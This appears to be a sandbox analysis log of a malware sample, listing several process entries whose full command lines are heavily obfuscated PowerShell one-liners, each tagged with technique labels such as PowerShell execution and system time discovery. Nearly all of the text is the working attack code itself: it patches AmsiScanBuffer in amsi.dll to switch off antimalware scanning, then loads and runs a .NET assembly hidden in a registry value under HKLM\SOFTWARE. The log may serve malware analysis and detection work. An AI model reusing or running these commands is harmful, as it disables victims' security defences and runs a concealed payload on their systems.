C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:vtwEYeisbxfB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NZxmPLNmlipOWj,[Parameter(Position=1)][Type]$jrUQPJRMjs)$CXNATovVAfG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+'l'+[Char](101)+'ct'+[Char](101)+''+[Char](100)+'D'+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+'em'+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+'y'+'p'+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+'blic'+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+'l'+''+'e'+'d'+[Char](44)+''+'A'+''+[Char](110)+'s'+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+'to'+[Char](67)+'l'+[Char](97)+'ss',[MulticastDelegate]);$CXNATovVAfG.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+'c'+''+'i'+'a'+[Char](108)+''+'N'+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+'H'+''+'i'+''+'d'+'e'+[Char](66)+'yS'+[Char](105)+''+'g'+''+','+'P'+'u'+''+'b'+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NZxmPLNmlipOWj).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+'i'+'m'+[Char](101)+',M'+[Char](97)+'n'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$CXNATovVAfG.DefineMethod(''+[Char](73)+''+'n'+'v'+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'ew'+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$jrUQPJRMjs,$NZxmPLNmlipOWj).SetImplementationFlags('R'+[Char](117)+'nt'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+'n'+'a'+''+'g'+''+[Char](101)+'d');Write-Output $CXNATovVAfG.CreateType();}$HFijAUqxlTWyJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+'e'+'m'+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+'o'+'s'+'of'+'t'+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+'32'+'.'+''+'U'+'n'+'s'+'a'+[Char](102)+''+[Char](101)+''+'N'+'a'+[Char](116)+'ive'+'M'+''+'e'+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$mHCOMzxAcmuZRk=$HFijAUqxlTWyJ.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+'r'+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+'r'+'e'+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'S'+[Char](116)+'a'+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KfhOFvTjHaTIdJuNZFS=vtwEYeisbxfB @([String])([IntPtr]);$ZcImcCxVfPZomHyFdXOxgl=vtwEYeisbxfB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$aGTmlWisBOH=$HFijAUqxlTWyJ.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+'H'+''+[Char](97)+''+[Char](110)+'dl'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+'3'+'2'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$PlAcFRYYjQybeg=$mHCOMzxAcmuZRk.Invoke($Null,@([Object]$aGTmlWisBOH,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+'L'+[Char](105)+'br'+'a'+''+[Char](114)+''+[Char](121)+''+'A'+'')));$iwsLgkdMskgsTHSXm=$mHCOMzxAcmuZRk.Invoke($Null,@([Object]$aGTmlWisBOH,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+'a'+''+[Char](108)+''+'P'+'r'+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$pWrDDas=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PlAcFRYYjQybeg,$KfhOFvTjHaTIdJuNZFS).Invoke(''+[Char](97)+'ms'+'i'+'.'+'d'+''+[Char](108)+''+[Char](108)+'');$OmafdEdmXMzYnAaQj=$mHCOMzxAcmuZRk.Invoke($Null,@([Object]$pWrDDas,[Object](''+[Char](65)+'m'+'s'+''+'i'+''+[Char](83)+'c'+'a'+''+'n'+''+[Char](66)+'uf'+[Char](102)+''+[Char](101)+''+'r'+'')));$yTTGjDnvTI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iwsLgkdMskgsTHSXm,$ZcImcCxVfPZomHyFdXOxgl).Invoke($OmafdEdmXMzYnAaQj,[uint32]8,4,[ref]$yTTGjDnvTI);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](212-81),[Byte](79+114),[Byte](186-186),[Byte](99+85),[Byte](191-104),[Byte](192-192),[Byte](153-146),[Byte](44+84),[Byte](32+99),[Byte](40+194),[Byte](160-160),[Byte](231-36),[Byte](182-45),[Byte](116+94)),0,$OmafdEdmXMzYnAaQj,21-7);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iwsLgkdMskgsTHSXm,$ZcImcCxVfPZomHyFdXOxgl).Invoke($OmafdEdmXMzYnAaQj,[uint32]8,0x20,[ref]$yTTGjDnvTI);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+[Char](78)+''+'R'+''+[Char](115)+''+[Char](116)+''+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:MrocOhxwUWnx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PdHtjNVpNQUAPU,[Parameter(Position=1)][Type]$JxlXNJkpPe)$IicUvNmCYxi=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+[Char](100)+'De'+[Char](108)+''+'e'+''+'g'+''+'a'+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+'m'+'o'+'r'+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+'pe',''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss'+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+'Se'+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+'i'+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'Aut'+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$IicUvNmCYxi.DefineConstructor(''+'R'+'T'+'S'+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+'id'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+''+[Char](117)+''+'b'+'lic',[Reflection.CallingConventions]::Standard,$PdHtjNVpNQUAPU).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+'g'+[Char](101)+'d');$IicUvNmCYxi.DefineMethod(''+'I'+'nv'+[Char](111)+''+[Char](107)+'e',''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+'c'+''+','+''+[Char](72)+'id'+'e'+'B'+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+','+''+[Char](78)+'e'+'w'+''+'S'+''+'l'+'ot'+[Char](44)+''+'V'+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$JxlXNJkpPe,$PdHtjNVpNQUAPU).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');Write-Output $IicUvNmCYxi.CreateType();}$ysPAAVamFGIJa=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+'ll')}).GetType(''+[Char](77)+''+'i'+''+'c'+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+'2'+''+[Char](46)+'U'+'n'+'s'+[Char](97)+'f'+'e'+''+'N'+'ati'+'v'+''+[Char](101)+''+[Char](77)+''+'e'+'th'+'o'+'d'+[Char](115)+'');$qvyeuVqRptNgVo=$ysPAAVamFGIJa.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+'o'+[Char](99)+''+[Char](65)+'d'+'d'+'r'+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+','+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TBbMiubYxMYnHYhMBoY=MrocOhxwUWnx @([String])([IntPtr]);$nioersgyWXzyGGReqWRYWz=MrocOhxwUWnx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ylaHQehodrl=$ysPAAVamFGIJa.GetMethod(''+'G'+''+'e'+''+[Char](116)+'M'+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$wdaEnvwFufJbHM=$qvyeuVqRptNgVo.Invoke($Null,@([Object]$ylaHQehodrl,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+'b'+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$pDhoMDaRUFoWywLga=$qvyeuVqRptNgVo.Invoke($Null,@([Object]$ylaHQehodrl,[Object]('V'+'i'+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'Pr'+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$TOSRevY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wdaEnvwFufJbHM,$TBbMiubYxMYnHYhMBoY).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+'.'+[Char](100)+''+'l'+'l');$yPCOmHXvZTWkZCxwN=$qvyeuVqRptNgVo.Invoke($Null,@([Object]$TOSRevY,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+'S'+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+'f'+''+[Char](102)+'er')));$zDYfociUlO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pDhoMDaRUFoWywLga,$nioersgyWXzyGGReqWRYWz).Invoke($yPCOmHXvZTWkZCxwN,[uint32]8,4,[ref]$zDYfociUlO);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](243-106),[Byte](94+98),[Byte](103+81),[Byte](59+28),[Byte](231-231),[Byte](110-103),[Byte](201-73),[Byte](216-79),[Byte](65+154),[Byte](212-17),[Byte](29+108),[Byte](139+53)),0,$yPCOmHXvZTWkZCxwN,24-12);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pDhoMDaRUFoWywLga,$nioersgyWXzyGGReqWRYWz).Invoke($yPCOmHXvZTWkZCxwN,[uint32]8,0x20,[ref]$zDYfociUlO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+'T'+'WAR'+'E'+'').GetValue(''+'N'+''+[Char](82)+''+[Char](115)+''+[Char](116)+''+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:MrocOhxwUWnx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PdHtjNVpNQUAPU,[Parameter(Position=1)][Type]$JxlXNJkpPe)$IicUvNmCYxi=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+[Char](100)+'De'+[Char](108)+''+'e'+''+'g'+''+'a'+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+'m'+'o'+'r'+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+'pe',''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss'+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+'Se'+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+'i'+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'Aut'+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$IicUvNmCYxi.DefineConstructor(''+'R'+'T'+'S'+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+'id'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+''+[Char](117)+''+'b'+'lic',[Reflection.CallingConventions]::Standard,$PdHtjNVpNQUAPU).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+'g'+[Char](101)+'d');$IicUvNmCYxi.DefineMethod(''+'I'+'nv'+[Char](111)+''+[Char](107)+'e',''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+'c'+''+','+''+[Char](72)+'id'+'e'+'B'+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+','+''+[Char](78)+'e'+'w'+''+'S'+''+'l'+'ot'+[Char](44)+''+'V'+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$JxlXNJkpPe,$PdHtjNVpNQUAPU).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');Write-Output $IicUvNmCYxi.CreateType();}$ysPAAVamFGIJa=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+'ll')}).GetType(''+[Char](77)+''+'i'+''+'c'+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+'2'+''+[Char](46)+'U'+'n'+'s'+[Char](97)+'f'+'e'+''+'N'+'ati'+'v'+''+[Char](101)+''+[Char](77)+''+'e'+'th'+'o'+'d'+[Char](115)+'');$qvyeuVqRptNgVo=$ysPAAVamFGIJa.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+'o'+[Char](99)+''+[Char](65)+'d'+'d'+'r'+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+','+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TBbMiubYxMYnHYhMBoY=MrocOhxwUWnx @([String])([IntPtr]);$nioersgyWXzyGGReqWRYWz=MrocOhxwUWnx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ylaHQehodrl=$ysPAAVamFGIJa.GetMethod(''+'G'+''+'e'+''+[Char](116)+'M'+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$wdaEnvwFufJbHM=$qvyeuVqRptNgVo.Invoke($Null,@([Object]$ylaHQehodrl,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+'b'+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$pDhoMDaRUFoWywLga=$qvyeuVqRptNgVo.Invoke($Null,@([Object]$ylaHQehodrl,[Object]('V'+'i'+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'Pr'+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$TOSRevY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wdaEnvwFufJbHM,$TBbMiubYxMYnHYhMBoY).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+'.'+[Char](100)+''+'l'+'l');$yPCOmHXvZTWkZCxwN=$qvyeuVqRptNgVo.Invoke($Null,@([Object]$TOSRevY,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+'S'+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+'f'+''+[Char](102)+'er')));$zDYfociUlO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pDhoMDaRUFoWywLga,$nioersgyWXzyGGReqWRYWz).Invoke($yPCOmHXvZTWkZCxwN,[uint32]8,4,[ref]$zDYfociUlO);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](243-106),[Byte](94+98),[Byte](103+81),[Byte](59+28),[Byte](231-231),[Byte](110-103),[Byte](201-73),[Byte](216-79),[Byte](65+154),[Byte](212-17),[Byte](29+108),[Byte](139+53)),0,$yPCOmHXvZTWkZCxwN,24-12);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pDhoMDaRUFoWywLga,$nioersgyWXzyGGReqWRYWz).Invoke($yPCOmHXvZTWkZCxwN,[uint32]8,0x20,[ref]$zDYfociUlO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+'T'+'WAR'+'E'+'').GetValue(''+'N'+''+[Char](82)+''+[Char](115)+''+[Char](116)+''+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:OsRBdJVzwenq{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mdbtqgQDpaTDXY,[Parameter(Position=1)][Type]$lSSXFZwcdk)$UaiRzsNvfUR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+'e'+'c'+''+[Char](116)+'ed'+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'Memor'+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+'e',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+'t'+'e'+''+'T'+'ype',''+[Char](67)+''+'l'+'as'+'s'+''+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+'d'+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+'C'+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'C'+'l'+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$UaiRzsNvfUR.DefineConstructor('R'+[Char](84)+'S'+'p'+''+'e'+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+'i'+'d'+'e'+'B'+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$mdbtqgQDpaTDXY).SetImplementationFlags('Ru'+'n'+''+'t'+'im'+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$UaiRzsNvfUR.DefineMethod('In'+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+',V'+'i'+''+'r'+''+[Char](116)+'u'+'a'+''+'l'+'',$lSSXFZwcdk,$mdbtqgQDpaTDXY).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'ti'+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $UaiRzsNvfUR.CreateType();}$TtPTxJLqsUlvD=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+'r'+'o'+'s'+''+[Char](111)+'f'+[Char](116)+''+'.'+''+'W'+''+'i'+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+'nsafeN'+'a'+'t'+'i'+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$IYuPsrClOjejim=$TtPTxJLqsUlvD.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JXbVKkdfZSclMKhwOOL=OsRBdJVzwenq @([String])([IntPtr]);$xKOZzwItLQeGVObsKYIBYI=OsRBdJVzwenq @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FCaihhgfNHl=$TtPTxJLqsUlvD.GetMethod(''+'G'+''+'e'+''+[Char](116)+'Mo'+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+'dll')));$ZhpCCDaPHJAfUN=$IYuPsrClOjejim.Invoke($Null,@([Object]$FCaihhgfNHl,[Object](''+'L'+'o'+'a'+''+[Char](100)+''+'L'+''+'i'+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+'y'+[Char](65)+'')));$JTamLpxkpxFmpgdGH=$IYuPsrClOjejim.Invoke($Null,@([Object]$FCaihhgfNHl,[Object](''+[Char](86)+'i'+'r'+''+'t'+''+'u'+'a'+'l'+''+[Char](80)+''+[Char](114)+''+'o'+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$LJigMBq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZhpCCDaPHJAfUN,$JXbVKkdfZSclMKhwOOL).Invoke('a'+[Char](109)+''+[Char](115)+'i'+[Char](46)+'d'+'l'+''+'l'+'');$yLrHUIazlZzvlNWQE=$IYuPsrClOjejim.Invoke($Null,@([Object]$LJigMBq,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+'e'+[Char](114)+'')));$GbzLYEzveW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JTamLpxkpxFmpgdGH,$xKOZzwItLQeGVObsKYIBYI).Invoke($yLrHUIazlZzvlNWQE,[uint32]8,4,[ref]$GbzLYEzveW);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](228-91),[Byte](19+191),[Byte](107+77),[Byte](19+68),[Byte](124-124),[Byte](32-25),[Byte](154-26),[Byte](35+96),[Byte](163+30),[Byte](228-228),[Byte](7+188),[Byte](179-48),[Byte](11+181),[Byte](209-209)),0,$yLrHUIazlZzvlNWQE,97-83);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JTamLpxkpxFmpgdGH,$xKOZzwItLQeGVObsKYIBYI).Invoke($yLrHUIazlZzvlNWQE,[uint32]8,0x20,[ref]$GbzLYEzveW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'OFT'+'W'+''+[Char](65)+'RE').GetValue(''+'N'+''+[Char](82)+''+'s'+''+[Char](116)+'a'+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
